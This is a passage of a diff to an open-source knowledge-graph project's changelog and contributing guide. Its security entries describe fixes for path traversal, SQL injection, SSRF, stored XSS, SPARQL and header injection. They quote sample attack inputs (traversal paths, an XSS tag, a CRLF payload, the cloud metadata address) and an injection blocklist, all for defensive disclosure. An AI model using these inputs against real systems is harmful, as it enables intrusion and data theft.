- **`flatten_dict()` silently collided keys when a flattened path from one branch matched a literal key already present at the target depth** (#1062) by @shahzaib-ahmadcs
|
||||
- Two differently-shaped inputs could flatten to the same output key, with the second write silently overwriting the first — no error, no warning, just a dropped value. Collisions are now detected and handled explicitly instead of overwriting
|
||||
|
||||
- **`ExcelParser.__init__` raised `NameError` on every instantiation — `get_progress_tracker()` was called but never imported** (#1016, closes #1014) by @pravit-amp
|
||||
- Same defect as the one fixed for `SimilarityCalculator` in #530, this time in `semantica/parse/excel_parser.py`; the existing test imported the class but never constructed it, so nothing caught the missing import. Added construction coverage for every parser exported from `semantica.parse`, driven off `__all__` so future additions are covered automatically, living outside `test_parse_comprehensive.py` (whose `setUp` mocks `get_progress_tracker` into each module and would mock away the exact interaction under test)
|
||||
|
||||
- **Graph analytics (`centrality_calculator.py`, `community_detector.py`, `connectivity_analyzer.py`) dropped isolated nodes and diverged on how each computed its working view of the graph** (#1011) by @T1mn
|
||||
- Each analyzer had its own ad hoc logic for building the node/edge set it operated over, and none of them included nodes with no edges — a node with zero connections simply vanished from centrality scores, community assignments, and connectivity reports instead of appearing with a zero/singleton value. A new shared `semantica/kg/_graph_view.py` centralizes graph-view construction (including node fallbacks and community payload shaping) for all three analyzers, which are now ~250 lines lighter combined
|
||||
- New `tests/kg/test_analytics_node_scope.py` covering isolated-node presence across all three analyzers
|
||||
|
||||
- **Explorer fired temporal-bounds and snapshot requests before the graph itself had loaded, tripling failed requests when the backend was down and leaving the timeline scrubber with nothing to scrub** (#1003) by @lakshayxi
|
||||
- Two new predicate functions gate the temporal effects on the graph having actually loaded (an empty graph still counts as loaded); confirmed against a downed backend that this cuts three failing requests per page load down to one
|
||||
|
||||
- **`SeedDataManager.load_from_database()` never actually reached the database, and connection failures were mislabeled as a missing optional dependency** (#995, closes #973) by @yzxcj797
|
||||
- `DBIngestor.execute_query`/`export_table` need the connection string as their first positional argument; `load_from_database()` only passed it into the constructor's config dict, which those methods never read, so every call raised `TypeError` before connecting. Also split the combined `except (ImportError, OSError)` handling apart — a genuine connection failure was reported as `"module not available"`, sending debugging in the wrong direction; `OSError` now propagates as an actual failure, chained via `from e`
|
||||
|
||||
- **SPARQL `CONSTRUCT` detection matched inside a leading `#`-comment, misclassifying `SELECT`/`ASK` queries as `CONSTRUCT` across all four SPARQL backends** (#951) by @pravit-amp
|
||||
- `CONSTRUCT_QUERY_RE` skipped comments with a bare `\#[^\n]*`, whose backtracking `*` let a `# CONSTRUCT ...` comment line "swallow" the real query-form keyword on the next line for a query like `# CONSTRUCT ...\nSELECT ...`. The mistaken `CONSTRUCT` classification sent `Accept: text/turtle` and tried to parse a SELECT/ASK response body as Turtle, failing with a misleading parse error. The regex now requires a comment to reach a line terminator (LF or CR, per the SPARQL grammar) before matching
|
||||
|
||||
- **`k_shortest_paths` mutated caller-visible graph state during traversal and ignored direction when excluding already-used edges** (#1000) by @T1mn
|
||||
- `semantica/kg/path_finder.py`'s search left side effects behind after returning, and edge exclusion during Yen's-algorithm-style path removal didn't respect the traversal direction of directed graphs, letting a later search see edges that should have been available. Both fixed; new coverage in `tests/kg/test_path_finder.py`
|
||||
|
||||
- **`trace_decision_causality()` ignored explicitly recorded causal edges, inferring causes only from shared NER entities plus timestamp ordering** (#983) by @hsd2514
|
||||
- A `CAUSED`/`INFLUENCED`/`PRECEDENT_FOR` edge added via `add_causal_relationship()` had no effect on the trace — when entity extraction found nothing in common between two decisions, `trace_decision_chain()` came back empty even with an explicit edge stored in the graph. Explicit causal edges are now traversed first as ground truth, with entity/timestamp inference kept as an additive fallback for pairs with no explicit link; edges whose source has no decision record (e.g. a graph restored via `from_dict`) are skipped so a stale edge can't abort the trace
|
||||
|
||||
- **`RepoIngestor`'s module-level DNS resolve cache had no lock, raising `RuntimeError: OrderedDict mutated during iteration` under concurrent `ingest_repository()` calls** (#979) by @manjunathbhaskar
|
||||
- `_REPO_HOST_RESOLVE_CACHE` is a shared `OrderedDict` read, written, and pruned by every thread with no synchronization — reliably reproduced with 32 threads hammering resolution under a low TTL and small cache cap. Now guarded by a lock
|
||||
|
||||
- **`GraphBuilder` didn't remap relationship endpoints after entity resolution merged nodes, leaving relationships pointing at ids that no longer existed in the resolved graph** (#978) by @T1mn
|
||||
- New coverage in `tests/kg/test_graph_builder_external.py`; a follow-up commit hardens the remapping against edge cases found during review
|
||||
|
||||
- **Explorer's dev server esbuild target didn't match the browser targets the production build declares**, occasionally producing dev-only syntax errors on older browsers (#966) by @le-czs
|
||||
- `explorer/vite.config.ts` now sets the dev esbuild target explicitly to match
|
||||
|
||||
- **`normalize`'s number normalizer accepted currency symbols without validating them against the surrounding text, and an earlier fix's currency-code matching wasn't token-bounded** (#940) by @Mr-Neutr0n, reviewed by @ZohaibHassan16
|
||||
- Symbol currencies are now validated before being accepted; currency codes are matched on token boundaries so a code embedded inside a longer token no longer false-positives
|
||||
|
||||
- **`ContextGraph.to_dict()` was the one reader on the class that didn't hold `self._lock`, raising `RuntimeError: dictionary changed size during iteration` under a concurrent writer and risking a torn snapshot otherwise** (#929) by @pravit-amp
|
||||
- Every other reader (`stats()`, `density()`, `find_nodes()`, `find_edges()`, `get_neighbors()`, `get_nodes_by_label()`, `state_at()`, `save_to_file()`) already took the lock after it was introduced; `to_dict()` predated that change and was missed. `save_to_file()` was safe only incidentally, since it builds its payload inline under its own lock rather than delegating to `to_dict()`
|
||||
|
||||
- **`PipelineWithProvenance` had a broken import and no working `run()` method** (#862) by @Karunasagar12
|
||||
- `from .pipeline import Pipeline` failed because `Pipeline` lives in `pipeline_builder.py`, not a nonexistent `pipeline.py` — fixed to `from .pipeline_builder import Pipeline`. The class also had no `run()`; it now delegates to `ExecutionEngine.execute_pipeline()`, the intended execution path for a built `Pipeline`. The constructor now accepts a built `Pipeline` instance directly
|
||||
|
||||
### Security
|
||||
|
||||
- **Tarball restore path traversal, latent SQL injection, DNS-rebinding TOCTOU in the shared SSRF guard, stored XSS in report generation, and unvalidated SPARQL object IRIs in AnzoStore** (#1079) by @KaifAhmad1
|
||||
- `semantica backup restore`'s tar extraction (`cli.py`) stripped only the literal `semantica-backup/` prefix and called `tar.extract()` with no path-containment check, no symlink/hardlink validation, and (on Python <3.12) no extraction filter — a crafted archive member (`../../<file>`, or a symlink pointing outside the restore root) could write arbitrary files above the restore directory. Every member is now validated for resolved-path containment before extraction, symlink/hardlink targets are rejected both lexically (absolute path, `..` segments) and by resolution, and `filter="data"` is applied on Python ≥3.12
|
||||
- `DataExporter.export_table_data()` (`db_ingestor.py`) was missing the `text` import from `sqlalchemy` — a `NameError` that made the method non-functional, but latently: the query it built from raw f-string interpolation of `table_name`/`schema`/`where`/`order_by` was already injectable, so fixing the import alone (without also fixing the injection) would have silently armed it. Both are fixed together: the import is restored, `table_name`/`schema` are now validated against a strict identifier allowlist, and `where`/`order_by` are checked against a blocklist (statement separators, comments, UNION, DDL/DML keywords, time-based blind-injection primitives, schema-enumeration terms). This is a blocklist, not a grammar — it closes the concrete UNION-exfiltration path and common injection primitives, but a boolean-blind subquery using none of the blocked keywords could still get through; `where`/`order_by` must be treated as trusted/operator input, not exposed to untrusted end users, and the docstrings now say so explicitly
|
||||
- `request_with_ssrf_guard()` (`ssrf.py`) validated a hostname's resolved IPs, then let the underlying HTTP client re-resolve the same hostname independently at connect time — a low-TTL or DNS-rebinding answer could differ between the two lookups, so a hostname that validated as public could still connect to a private/internal address. Ported the IP-pinning pattern already used by `explorer/routes/ontology.py`'s `_make_pinned_session` into the shared ingest guard: the one resolution that decides accept/reject is now also the one the connection is pinned to, via a custom `HTTPAdapter` that presents the real hostname over TLS SNI / Host header while connecting only to the validated IPs. Also closes the RFC 6598 Carrier-Grade NAT gap noted as a known limitation in #905/#868: `100.64.0.0/10` is now in `BLOCKED_NETWORKS`
|
||||
- `ReportGenerator._generate_html()` (`export/report_generator.py`) f-string-interpolated report title/summary/metrics into HTML with no escaping — an ingested entity or document whose content flowed into a report (e.g. `<img src=x onerror=...>`) executed as stored XSS when the report was opened. All interpolated values are now `html.escape()`d
|
||||
- `AnzoStore._format_object_for_sparql()` (`triplet_store/anzo_store.py`) validated the subject/predicate of a triplet via `sparql_escaping.validate_uri()` before interpolating them into a SPARQL `INSERT DATA` clause, but delegated the **object** position to a separate formatter that wrapped it as `<{obj}>` without the same validation — an object value containing `>`/`}`/`{`/`"` could close the intended `<...>` token early and inject additional SPARQL Update operations. The Blazegraph/RDF4J backends were hardened for the equivalent gap previously; Anzo's object position now goes through the same `validate_uri()` check
|
||||
- Also hardened in the same pass: Apache AGE's `create_index()` `index_type` parameter is now allowlisted (was interpolated raw into a `USING` clause); Neo4j's `limit` is now explicitly validated (raises `ValidationError` for non-integer input instead of falling through to a generic `ProcessingError`); the `ffprobe` metadata-extraction subprocess call is guarded against a filename starting with `-` being parsed as an option; the MCP server no longer echoes raw exception text to JSON-RPC clients, logging full details server-side and returning a generic message plus the exception class name instead
|
||||
- **Fixed during review** (@KaifAhmad1): the SSRF IP-pinning change introduced a connection-pool leak of its own — `requests.Session.mount()` silently drops whatever adapter it replaces without closing it, so a multi-hop redirect chain on a reused session leaked one pooled connection per hop. Pinned adapters are now tagged and explicitly closed before being replaced, both per-hop and on final restore
|
||||
- **Fixed during review** (@KaifAhmad1): mounting a pinned adapter and setting a Host header on a caller-supplied `Session` is not inherently thread-safe — two guarded calls sharing the same session from different threads could interleave their mount/restore cycles. Added a per-session lock (`_get_session_lock`) so concurrent guarded calls on the same session now serialize instead of racing; verified with a two-thread test showing correct serialization and zero cross-contamination of per-request Host headers
|
||||
- **Fixed during automated PR review** (Qodo): `export_table_data()`'s new identifier/fragment validation raised `ValidationError` from inside a `try` whose blanket `except Exception` re-wrapped it as `ProcessingError`, masking the distinction between "bad input" and "the export itself failed" that callers rely on elsewhere in this module. Added the `except ValidationError: raise` guard already used by its sibling methods
|
||||
- **Fixed during automated PR review** (Qodo): on a hop where IP pinning doesn't apply (`allow_private_ips=True`), `_apply_connection_pin()` unconditionally popped the session's `Host` header instead of restoring whatever it was before pinning touched it — a caller-supplied session carrying its own legitimate `Host` override (e.g. fronting a private endpoint under a different name) had that override silently dropped for the in-flight request, only reappearing afterward via the outer `finally` restore. It now restores the session's own pre-call header state (set back if present, popped only if it was truly absent) instead of always popping
|
||||
- **Fixed during automated PR review** (Qodo): the `where`/`order_by` blocklist matched keywords/punctuation inside properly quoted string literals and identifiers too, so legitimate data like `status = 'union'` or `name = 'a--b'` was rejected as if it were SQL syntax. The blocklist now runs against a copy with quoted-literal contents masked out (`_mask_sql_literals`) — a malformed/unterminated quote sequence doesn't match the masking pattern and is left fully exposed to the blocklist, so this closes false positives without opening a masking-based bypass; the fragment actually used in the query is unchanged
|
||||
- Re-ran each finding's proof-of-concept (or an equivalent adversarial test) against the fix and confirmed it is blocked: tar path/symlink traversal (both lexical and resolved-path forms), SQL UNION exfiltration and identifier breakout, DNS-rebinding TOCTOU (including under a configured `HTTP_PROXY`, which the pinning adapter also rejects outright since a proxy would resolve DNS itself), stored XSS, and the AnzoStore SPARQL injection
|
||||
- `pytest tests/ingest/`: 266 passed, 2 skipped (10 pre-existing failures unrelated to this change — identical failure set confirmed on unmodified `main`); full regression sweep across `graph_store`, `export`, `triplet_store`, `parse`, and backup/restore: 313 passed
|
||||
|
||||
- **`Authorization`/`Proxy-Authorization` credentials could leak to a different origin across HTTP redirects, and several ingest paths bypassed the shared SSRF/redirect guard entirely** (#1067, closes #947) by @Sameer6305, reviewed by @KaifAhmad1
|
||||
- `request_with_ssrf_guard()` previously only stripped sensitive headers from per-request `kwargs["headers"]` on a cross-origin redirect; session-level `Authorization`/`Proxy-Authorization` headers, `session.auth`, and `session.trust_env` (`.netrc` lookup) could all still resurrect credentials on the hop to a foreign origin. All five credential sources are now stripped case-insensitively, kept stripped for the remainder of a multi-hop redirect chain (no resurrection even if a later hop returns to the original host), and unconditionally restored via `finally` — including on exceptions and redirect-limit errors
|
||||
- `MCPClient._send_request_http()` and `PublicAPIIngestor.detect_public_api()`/`ingest_public_api()` called `httpx.post()`/`requests.post()`/`session.request()` directly, bypassing `request_with_ssrf_guard()` entirely. Both now route through the shared guard, including when `validate_no_auth=False`
|
||||
- `SeedDataManager.load_from_api()` mutated the caller-supplied `headers` dict in place when adding an API-key `Authorization` header, silently leaking the key back into a dict the caller might reuse elsewhere. Now copies before modifying
|
||||
- **Fixed during review** (@KaifAhmad1): `allow_private_ips=True` (used to let MCP servers run on localhost/internal networks) was applied to every redirect hop, not just the operator-configured host — a compromised or malicious MCP server could 302-redirect to an internal address (e.g. `169.254.169.254` cloud metadata) and the guard would follow it unchecked, defeating the SSRF protection this PR otherwise adds. Added `allow_private_ips_on_redirect` to `request_with_ssrf_guard()`: a redirect target inherits the original host's private-IP trust only when it matches that host; any other host falls back to strict validation. `MCPClient` now pins `allow_private_ips_on_redirect=False`, so only same-host redirects on a trusted MCP server keep working — a cross-host hop into private address space is blocked
|
||||
- **Fixed during review** (@KaifAhmad1): `detect_public_api()` only caught `requests.exceptions.RequestException`, but `request_with_ssrf_guard()` raises `ValidationError` (a disjoint hierarchy) for SSRF-blocked hosts, blocked redirect targets, missing `Location`, or exceeded redirect limits — unlike its sibling `ingest_public_api()`, which already caught it. Callers (including `is_public_api()`) got an undocumented raw `ValidationError` instead of `ProcessingError`, and the error-logging call was skipped. Now catches `(ValidationError, ProcessingError)` and re-raises, matching the sibling method
|
||||
- **Fixed during review** (@KaifAhmad1): `detect_public_api()`/`ingest_public_api()` forwarded `**options` into `request_with_ssrf_guard(..., session=self.session, allow_private_ips=self.allow_private_ips, **request_options)` without stripping `session`/`allow_private_ips` from `request_options` first — a caller passing either through the per-call `**options` (a plausible mistake, since `allow_private_ips` is also a documented constructor-level knob) got a raw `TypeError: got multiple values for keyword argument`. Both are now popped from `request_options` before the call
|
||||
- New regression coverage added during review: `TestAllowPrivateIpsOnRedirect` (cross-host redirect into private space blocked, same-host redirect trust preserved, default behavior unchanged for existing callers that don't pass the new kwarg) and `TestMCPClientAuthRedirect::test_redirect_to_private_ip_is_blocked`/`test_same_host_redirect_on_private_mcp_server_is_not_blocked` in `tests/ingest/test_auth_header_redirect_security.py`; `test_detect_public_api_propagates_ssrf_validation_error` and duplicate-kwarg regression tests for both methods in `tests/ingest/test_public_api_ingestor.py`
|
||||
- `pytest tests/ingest/test_auth_header_redirect_security.py tests/ingest/test_public_api_ingestor.py tests/test_seed_manager.py tests/ingest/test_submodules.py tests/ingest/test_cookbook_integration.py`: 111 passed
|
||||
|
||||
- **`FeedIngestor`/`FeedMonitor` (RSS/Atom feed ingestion) had no SSRF protection, allowing requests to internal/private network targets** (#928, closes #927) by @ZohaibHassan16
|
||||
- `FeedIngestor.ingest_feed()`, `discover_feeds()` (link-tag fetch, common-path HEAD probe, and feed-validation GET), and `FeedMonitor.check_updates()` all called `requests.get()`/`requests.head()` directly with default redirect-following and no scheme allowlist or private/loopback/link-local IP validation — despite `semantica/ingest/ssrf.py`'s `request_with_ssrf_guard()` already existing and being used by `web_ingestor.py`/`api_ingestor.py`. `ingest_feed()`'s own URL check only verified `urlparse(url).scheme`/`.netloc` were non-empty, never that the scheme was http/https or that the resolved target IP was safe. Reachable via the public `ingest_feed()`/`ingest()` entry points with any caller-supplied feed URL
|
||||
- All 5 call sites now route through `request_with_ssrf_guard()`, which validates scheme (http/https only) and resolved IP before the request, and re-validates every redirect `Location` before following it — closing both the direct-IP and redirect-chain SSRF paths. Added an `allow_private_ips` config option to both `FeedIngestor` and `FeedMonitor`, consistent with the other ingestors
|
||||
- **Fixed during review** (Qodo): `test_discover_feeds_empty` mocked `requests.get`, which no longer executes now that the code path goes through `request_with_ssrf_guard()` (backed by `requests.request`) — the test was passing without exercising the real code. Corrected to mock `requests.request` and `socket.getaddrinfo`
|
||||
- `pytest tests/ingest/test_feed_ingestor.py`: 12/12 passed. Independently reproduced the issue's own PoC (`FeedIngestor().ingest_feed("http://127.0.0.1:8765/feed.xml")` against a live local server) and confirmed it now raises `ValidationError` instead of succeeding
|
||||
- **Known limitation carried over from `discover_feeds()`'s pre-existing design**: its common-path and feed-validation loops use a blanket `except Exception: continue`, which now also silently absorbs `ValidationError` from a blocked candidate URL the same way it already absorbed network failures — the request is still correctly blocked before reaching the network, so this is not an SSRF bypass, just a missed opportunity to log "blocked as SSRF target" distinctly from "unreachable"
|
||||
|
||||
- **`RepoIngestor` clone surface hardened against GitPython URL/option injection** (#905, closes #868) by @pravit-amp
|
||||
- `RepoIngestor.ingest_repository()` passed the caller-supplied repository URL and arbitrary `**options` straight through to `git.Repo.clone_from()` on a `GitPython>=3.1.50` floor predating hardening for `ext::`-style transport helpers and `$VAR`/`${VAR}` environment-variable expansion in clone URLs — unvalidated clone options (`upload_pack`, `multi_options`, `template`, `config`, `env`, ...) could be abused for command execution, and unvalidated hostnames allowed SSRF against internal services (e.g. cloud metadata endpoints)
|
||||
- `GitPython` floor raised to `>=3.1.58`
|
||||
- Clone options passed to `clone_from()` are now allowlisted to `{depth, branch, single_branch, no_tags}`; anything else raises `ValidationError` before the clone is attempted
|
||||
- Repository URLs are validated before cloning: scheme allowlist (`https`, `http`, `git`, `ssh`), rejection of `$VAR`/`${VAR}` tokens, and hostname resolution with every returned address screened against private/loopback/link-local/unspecified ranges. scp-like SSH remotes (`user@host:path`) are recognized and normalized to `ssh://` before the clone call
|
||||
- **Fixed during review** (@Sameer6305): the SSRF check originally used `ip.is_reserved`, which flags the NAT64 Well-Known Prefix (`64:ff9b::/96`, RFC 6052) as reserved — falsely blocking `github.com` and other public hosts on IPv6-only/dual-stack networks using NAT64. Narrowed the block list to private/loopback/link-local/unspecified only
|
||||
- **Fixed during review** (@Sameer6305): local filesystem repository paths (`git clone /path/to/local/repo`) were being treated as remote URLs and rejected outright; local paths now bypass network validation entirely since they make no network requests and carry no SSRF risk
|
||||
- **Known limitation**: the SSRF host check does not classify RFC 6598 Carrier-Grade NAT space (`100.64.0.0/10`) as blocked — Python's `ipaddress.IPv4Address.is_private` does not cover that range, so a hostname resolving into it (e.g. some Kubernetes/CNI pod networks) would not be caught. Follow-up recommended to add it explicitly alongside the existing private/loopback/link-local checks
|
||||
- `pytest tests/ingest/test_repo_ingestor_security.py -v`: 44 passed
|
||||
|
||||
- **HTTP response header injection via `node_id`, unbounded-memory DoS in link prediction, and unsanitized imported node IDs in the Explorer** (#912) by @Sunil56224972
|
||||
- `semantica/explorer/routes/provenance.py`'s `GET /api/provenance/report` f-string-interpolated the `node_id` query parameter directly into the `Content-Disposition` response header; a `\r\n`-bearing `node_id` could inject arbitrary response headers (`Set-Cookie` session fixation, `Content-Type` override for reflected XSS). Fixed with `_safe_content_disposition_filename()`, which strips `\r`, `\n`, `\x00`, `"`, `\` and length-caps the value before interpolation
|
||||
- `POST /api/enrich/links` (link prediction) loaded up to 999,999 nodes with no cap or concurrency guard, then scored every candidate — a single request could consume ~1.6 GB RAM, and concurrent requests compounded that with no limit. Capped the candidate pool at 10,000 nodes (`413` if exceeded) and added an `asyncio.Semaphore(2)`, mirroring the SPARQL DoS fix in #898
|
||||
- `POST /api/import` stored uploaded JSON/CSV node IDs verbatim; since provenance reports reflect `node_id` into `Content-Disposition`, an attacker could upload a node with a CRLF-bearing ID once and trigger the header-injection chain above for every subsequent viewer. Added `_sanitize_import_node_id()`, applied to node and edge `source_id`/`target_id` fields on both the JSON and CSV import paths
|
||||
- **Corrected during review**: the JSON import path had a second, unsanitized branch — any uploaded node object already carrying a `"properties"` key (the shape this app's own `/api/export` produces, and already used elsewhere in the test suite) was appended to the graph as-is, bypassing `_sanitize_import_node_id()` entirely and leaving the stored-header-injection chain open via a one-line payload (`{"id": "<crlf>", "properties": {}}`). That branch now sanitizes `id` before storing
|
||||
- **Corrected during review**: the link-prediction cap checked `total` only *after* calling `session.get_nodes()`/`get_edges()`, which normalize the graph's *entire* matching node/edge set before applying `limit` — so the guard ran after the expensive work it was meant to prevent had already happened, on every request regardless of graph size. Added `GraphSession.get_raw_counts()`, an O(1) check against the raw `len(graph.nodes)`/`len(graph.edges)` collections, and moved the size check ahead of the normalizing calls
|
||||
- **Corrected during review**: 5 of the original PR's 22 regression tests asserted that literal words like `"Set-Cookie"`/`"Content-Type"` disappeared from the sanitized value — the sanitizer only strips `\r\n\x00"\\`, not letters, so those assertions failed against the PR's own fix as submitted. Corrected to assert on the property that actually blocks header injection (no `\r`/`\n` survives), and added end-to-end tests that exercise the real `/api/import` → `/api/provenance/report` route chain (not just the standalone sanitizer function) so the `properties`-key bypass has regression coverage
|
||||
- Full `explorer` suite: 241 passed; `tests/test_security_regression_pr2.py`: 30 passed
|
||||
|
||||
- **`fastapi`/`python-multipart` floors in the `explorer` extra allowed PYSEC-2024-38 (CVE-2024-24762 / GHSA-2jv5-9r88-3w3p, `python-multipart` ReDoS)** (#871, closes #869) by @agu2347
|
||||
- `explorer` declared `fastapi>=0.100.0` and `python-multipart>=0.0.6`; both floors resolve to versions carrying a ReDoS in `python-multipart`'s `Content-Type` header option parser (`parse_options_header`), reachable by any endpoint that accepts form/multipart data — an attacker-crafted header option can stall the event loop for minutes
|
||||
- **Corrected during review**: the original fix raised only `fastapi>=0.109.1`, leaving `python-multipart>=0.0.6` unchanged. `python-multipart` is declared as its own direct dependency in the `explorer` extra rather than pulled in transitively via `fastapi[all]`, so a bare `fastapi` install enforces no `python-multipart` floor at all — the vulnerable `0.0.6` could still resolve with `fastapi>=0.109.1` in place. Floors raised to `fastapi>=0.109.2` / `python-multipart>=0.0.7`, the first versions of each that exclude the vulnerable range
|
||||
- **Fixed along the way**: the `Security` workflow's `pip-audit` job ran only on a weekly schedule with `continue-on-error: true`, against a bare Python environment with none of Semantica's optional extras installed — it would never have seen `fastapi`/`python-multipart` regardless of which floor was pinned. `security-scan.yml`'s Safety check has the same blind spot (`pip install -e ".[llm-litellm]"` only, never `[explorer]`). `pip-audit` now also runs on `pull_request` when `pyproject.toml` changes, installs `semantica[all]`, and fails the build on any finding for that trigger; the schedule/`workflow_dispatch` runs stay non-blocking pending a full pass over any pre-existing findings across the whole `[all]` tree
|
||||
- **Caught by the new gate on its first run**: `python -m pip install -e ".[all]"` pulled in `setuptools==79.0.1`, vulnerable to CVE-2026-59890/GHSA-h35f-9h28-mq5c/PYSEC-2026-3447 (Unicode-normalization bypass of `MANIFEST.in` exclude/prune patterns on macOS APFS/HFS+, letting excluded files leak into a built sdist), fixed in `83.0.0`. `[build-system] requires` had the exact same too-permissive-floor pattern this whole entry is about (`setuptools>=61.0`), and `actions/setup-python`'s baked-in `setuptools` isn't governed by that pin at all since it's outside any isolated build. Bumped `[build-system] requires` to `setuptools>=83.0.0`, and the `Security` workflow now runs `pip install --upgrade pip setuptools` before auditing so the scanned environment can't have a stale ambient copy regardless of what governs it
|
||||
- Full `explorer` suite: 241 passed
|
||||
|
||||
- **`SeedDataManager.load_from_api()` made unguarded HTTP requests, with no SSRF protection at all** (#942) by @ZohaibHassan16
|
||||
- `load_from_api()` called `requests.get()` directly instead of going through `semantica/ingest/ssrf.py`'s `request_with_ssrf_guard()`, unlike every other ingestor in this module — a caller-supplied `api_url` could target internal/private network addresses with no validation. Now routes through the shared guard, gaining redirect validation and bounded DNS resolution for free
|
||||
- **Follow-up** (#959, closes #943) by @yunaremaia: added an `allow_private_ips` opt-in (parsed via the shared `parse_bool` helper) for trusted internal deployments that legitimately need to load from a private-network API, while keeping the guard's block-by-default behavior for everyone else
|
||||
|
||||
## [0.6.5] - 2026-08-11
|
||||
|
||||
### Added
|
||||
@@ -71,6 +397,12 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
||||
|
||||
### Fixed
|
||||
|
||||
- **`PipelineWithProvenance` raised `ModuleNotFoundError` on import and `AttributeError` on `.run()`** (#858, closes #858) by @Karunasagar12
|
||||
- `from .pipeline import Pipeline` failed because `semantica/pipeline/pipeline.py` does not exist; corrected to `from .pipeline_builder import Pipeline`
|
||||
- `.run()` called `self._pipeline.run()` on the `Pipeline` dataclass, which has no such method; replaced with `self._engine.execute_pipeline(self._pipeline, ...)` delegating to `ExecutionEngine`
|
||||
- Constructor now accepts a built `Pipeline` instance (from `PipelineBuilder.build()`) instead of `**config`; the old `Pipeline(**config)` internal construction was invalid and never functional
|
||||
- Replaced deprecated `datetime.utcnow()` with `datetime.now(timezone.utc)` in `run()`
|
||||
|
||||
- **`VectorStore.search_vectors()` returned inconsistent result shapes across backend implementations** (#853, closes #845) by @Sameer6305, reviewed by @KaifAhmad1
|
||||
- Every built-in backend (FAISS, Milvus, pgvector, Pinecone, Qdrant, SQLite-vec, Weaviate, in-memory) now returns the same canonical `SearchResult` shape (`id`, `score`, `metadata`, `vector`, `distance`), instead of some backends omitting `vector`/`metadata`/`distance` or, for Weaviate, returning a backend-specific `properties` key instead of `metadata`
|
||||
- Added a `SearchResult` `TypedDict` (`semantica/vector_store/vector_store.py`, exported from `semantica.vector_store`) documenting the contract; `metadata` now always defaults to `{}` rather than being absent, and `id` accepts `Union[str, int]` to accommodate Milvus/Qdrant's native integer IDs without casting
|
||||
|
||||
+64
-17
@@ -2,20 +2,20 @@
|
||||
|
||||
Thank you for your interest in contributing! Every contribution, no matter how small, is valuable. 🎉
|
||||
|
||||
⭐ **Give us a Star** • 🍴 **[Fork Semantica](https://github.com/Hawksight-AI/semantica/fork)** • 💬 **Join our [Discord](https://discord.gg/sV34vps5hH)**
|
||||
⭐ **Give us a Star** • 🍴 **[Fork Semantica](https://github.com/semantica-agi/semantica/fork)** • 💬 **Join our [Discord](https://discord.gg/sV34vps5hH)**
|
||||
|
||||
> **New to contributing?** Start with a [`good first issue`](https://github.com/Hawksight-AI/semantica/labels/good%20first%20issue) or join our [Discord](https://discord.gg/sV34vps5hH) community.
|
||||
> **New to contributing?** Start with a [`good first issue`](https://github.com/semantica-agi/semantica/labels/good%20first%20issue) or join our [Discord](https://discord.gg/sV34vps5hH) community.
|
||||
|
||||
---
|
||||
|
||||
## 🚀 Quick Start
|
||||
|
||||
1. Find a [`good first issue`](https://github.com/Hawksight-AI/semantica/labels/good%20first%20issue)
|
||||
2. [Fork Semantica](https://github.com/Hawksight-AI/semantica/fork) & clone the repository
|
||||
1. Find a [`good first issue`](https://github.com/semantica-agi/semantica/labels/good%20first%20issue)
|
||||
2. [Fork Semantica](https://github.com/semantica-agi/semantica/fork) & clone the repository
|
||||
3. Make your changes
|
||||
4. Submit a pull request!
|
||||
|
||||
**Need help?** Join [Discord](https://discord.gg/sV34vps5hH) or [GitHub Discussions](https://github.com/Hawksight-AI/semantica/discussions)
|
||||
**Need help?** Join [Discord](https://discord.gg/sV34vps5hH) or [GitHub Discussions](https://github.com/semantica-agi/semantica/discussions)
|
||||
|
||||
---
|
||||
|
||||
@@ -25,9 +25,9 @@ If you want to work on an open GitHub issue, please follow these steps to keep t
|
||||
|
||||
1. **Check the issue.** Look at the issue's assignees and recent comments. If someone is already actively working on it, consider a different issue or ask in the comments whether help is welcome.
|
||||
|
||||
2. **Comment before you start.** Leave a comment on the issue saying you'd like to work on it — something like *"I'd like to take this on"* is enough. This gives maintainers the context they need to assign the issue appropriately.
|
||||
2. **Comment if you'd like the issue reserved.** Leaving a comment like *"I'd like to take this on"* is the fastest way to get assigned, but it isn't required — maintainers can also assign an issue directly to a contributor (e.g., based on recent activity in the repo) without waiting for a comment first.
|
||||
|
||||
3. **Wait for assignment.** A maintainer will review the request and assign the issue when appropriate. Please wait for this before investing significant time in implementation, as priorities and approaches can shift.
|
||||
3. **Wait for assignment.** A maintainer will assign the issue when appropriate, whether or not a comment was left. Please wait for this before investing significant time in implementation, as priorities and approaches can shift.
|
||||
|
||||
4. **Create a branch and implement.** Once assigned, fork the repository (if you haven't already), create a dedicated branch, and begin your work.
|
||||
|
||||
@@ -37,9 +37,23 @@ If you want to work on an open GitHub issue, please follow these steps to keep t
|
||||
|
||||
5. **Open a focused PR and link the issue.** When you're ready, open a pull request and reference the issue in the description (e.g., `Closes #123`). Keep the PR scoped to the work described in the issue.
|
||||
|
||||
> **Why this matters:** Commenting before opening a PR helps maintainers track who is working on what, assign issues correctly, and prevent two contributors from solving the same problem independently. It also gives you a chance to align on the expected approach before writing code.
|
||||
> **Why this matters:** Assignment (with or without a comment) helps maintainers track who is working on what and prevent two contributors from solving the same problem independently. It also gives you a chance to align on the expected approach before writing code.
|
||||
|
||||
Not sure where to start? Try a [`good first issue`](https://github.com/Hawksight-AI/semantica/labels/good%20first%20issue) or ask in [Discord](https://discord.gg/sV34vps5hH).
|
||||
Not sure where to start? Try a [`good first issue`](https://github.com/semantica-agi/semantica/labels/good%20first%20issue) or ask in [Discord](https://discord.gg/sV34vps5hH).
|
||||
|
||||
---
|
||||
|
||||
## 🔀 Duplicate PRs & Issue Priority
|
||||
|
||||
When more than one pull request targets the same issue, maintainers triage using this order of priority. These rules decide between PRs that are otherwise following the [assignment workflow above](#-working-on-an-existing-issue) — opening a PR before being assigned doesn't grant priority on its own, and an unassigned PR can still be closed as a duplicate once someone else is assigned to the issue.
|
||||
|
||||
1. **Contributor-raised issue with an existing PR.** If the person who opened the issue has also opened a PR for it, that PR is prioritized (they still need to be assigned before it's merged).
|
||||
2. **Maintainer-raised issue with a claim comment.** If we opened the issue and someone has commented asking to work on it, we assign it to them and check their PR before picking up any other PR for the same issue.
|
||||
3. **No prior assignment or comment.** If multiple PRs exist and no one was assigned or claimed the issue first, priority goes to whichever contributor has the most consistent activity in the repo over the last 60 days (e.g., merged PRs, substantive reviews, or issue triage participation) — not just PR volume.
|
||||
